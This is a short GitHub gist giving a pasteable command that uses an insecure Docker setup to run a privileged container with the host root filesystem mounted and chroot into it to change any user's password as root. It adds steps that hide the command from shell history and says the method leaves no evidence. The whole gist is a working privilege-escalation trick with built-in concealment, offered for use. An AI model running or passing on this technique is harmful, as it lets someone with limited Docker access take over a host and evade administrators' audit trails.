Skip to content

Instantly share code, notes, and snippets.

@DavidPesticcio
Created January 28, 2019 12:01
Show Gist options
  • Save DavidPesticcio/93f1a1d0c507c05fd859e370d310de0e to your computer and use it in GitHub Desktop.
Save DavidPesticcio/93f1a1d0c507c05fd859e370d310de0e to your computer and use it in GitHub Desktop.
Use an insecure docker installation to force change your password as root, without exposing how.
1. Copy and paste the two lines below, followed by CTRL-D to force change your passwd on an insecure docker installation:
export X=$(cat); eval $X
ID=user_id docker run -ti --rm --privileged --name passwd --hostname passwd -v /:/rooted alpine sh -c "chroot /rooted passwd $ID" ; unset X
2. To clean up the command line history, use:
up-arrow, CTRL-U, down-arrow, ENTER
How it works:
When the "X" variable is created, it waits for input from the tty to the "$(cat)" command before exporting it.
Then the contents of the variable get evaluated.
This results in docker being run, prompting the user to change the password for "ID", then the "X" variable gets unset, leaving no evidence of it happening.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment